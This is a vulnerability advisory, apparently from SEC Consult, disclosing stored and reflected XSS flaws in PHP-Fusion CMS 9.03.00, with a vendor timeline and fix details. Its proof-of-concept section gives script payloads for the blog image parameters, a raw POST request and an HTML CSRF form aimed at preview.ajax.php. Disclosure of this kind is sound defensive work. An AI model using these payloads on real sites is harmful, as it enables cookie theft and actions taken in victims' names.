Multiple Cross-site Scripting (XSS) Vulnerabilities in PHP-Fusion CMS

Project Description

XSS vulnerabilities in the PHP-Fusion CMS allow an attacker to perform unauthorized actions on behalf of another user. In addition, access information and other sensitive information can be intercepted directly.


Vendor description

“PHP-Fusion is a lightweight open source content management system (CMS) written in PHP.

Source: https://github.com/php-fusion

Business recommendation

Update to the latest version of PHP-Fusion. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description

1) Stored XSS vulnerability

This vulnerability within PHP-Fusion allows an attacker (user with edit post capability) to inject malicious client side scripting code which will be executed in the browser of a user with “Error Log” access privilege (usually administrator or super administrator).

2) Reflected XSS vulnerability

This vulnerability within PHP-Fusion allows an attacker to inject malicious client side scripting code which will be executed in the browser of users.

Proof of concept

1) Stored XSS vulnerability

a) Edit Blog Post Function

This vulnerability can be exploited by an attacker with “edit post” capability. By editing a blog post, malicious script code can be injected through the affected parameters (defined below). When saving the changes made, the application will store the XSS payload in the database as an error (table <dbtableprefix>_errors). Then, the application will load all the errors to notify the administrator in the “Error Log” notification module. The XSS payload will get executed on any page since it was the application behavior loading all the errors on any page as long as the affected user’s session is active.

Below is the example on how the XSS issue can be exploited.

URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#>
METHOD : POST
PAYLOAD: '><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2

Content-Type: multipart/form-data; boundary=---------------------------247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=2
Cookie: [snip]

[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name="blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]

2) Reflected XSS vulnerability

a) Preview Blog Post Function

This vulnerability can be exploited by an unauthenticated attacker. The XSS payload is injected in the preview.ajax.php script through the parameter “text”. Below is the example on how the XSS issue can be exploited through CSRF.

URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>

Create a HTML file with content as below and open it with browser.

<html>
  <body>
    <form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">
      <input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />
      <input type="hidden" name="editor" value="html" />
      <input type="hidden" name="url" value="/infusion/xxyyzz.php" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

Vulnerable / tested versions

PHP-Fusion version 9.03.00 has been tested, which was the latest version available at the time of the test.

Vendor contact timeline

2019-12-10Contacting vendor by email
technical@php-fusion.co.uk, sales@php-fusion.co.uk
billing@php-fusion.co.uk, management@php-fusion.co.uk
2019-12-11Vendor lead developer contact SEC Consult via Whatsapp and ask to send the detail unencrypted to his email chan@php-fusion.co.uk
Email sent to the lead developer on the same day.
2020-01-23Vendor fixed the reported issues, but it can be bypassed. SEC Consult informed the Lead Developer via Whatsapp. The lead developer
requests extension (3 weeks). Latest possible release date changed to 24th Feb 2020.
2020-02-01Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored XSS) remains unfixed.
2020-02-04Vendor informed fixed version available on github page.
2020-02-11Vendor requested two weeks to inform their users to update their websites. Latest possible release date changed to 25th Feb 2020.
2020-02-11Requesting CVE ID, only automatic reply with request ID.
2020-02-21Asking for CVE ID again, no reply.
2020-02-25Public release of security advisory.

Solution

The fixed version 9.03.30 is available at the vendor’s download section:
https://www.php-fusion.co.uk/php_fusion_9_downloads.php

Workaround

No workaround available.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020

Interested to work with the experts of SEC Consult? Send us your application
Want to improve your own cyber security with the experts of SEC Consult? Contact our local offices.

Project Details

  • TitleMultiple Cross-site Scripting (XSS) Vulnerabilities
  • ProductPHP-Fusion CMS
  • Vulnerable version9 - 9.03
  • Fixed version9.03.30
  • CVE number-
  • ImpactMedium
  • Homepagehttps://www.php-fusion.co.uk
  • Found2019-12-09
  • ByM. Ali, N. Ramadhan, W. Ikram, R. Jaafar, S. Maskan SEC Consult Vulnerability Lab (Office Malaysia)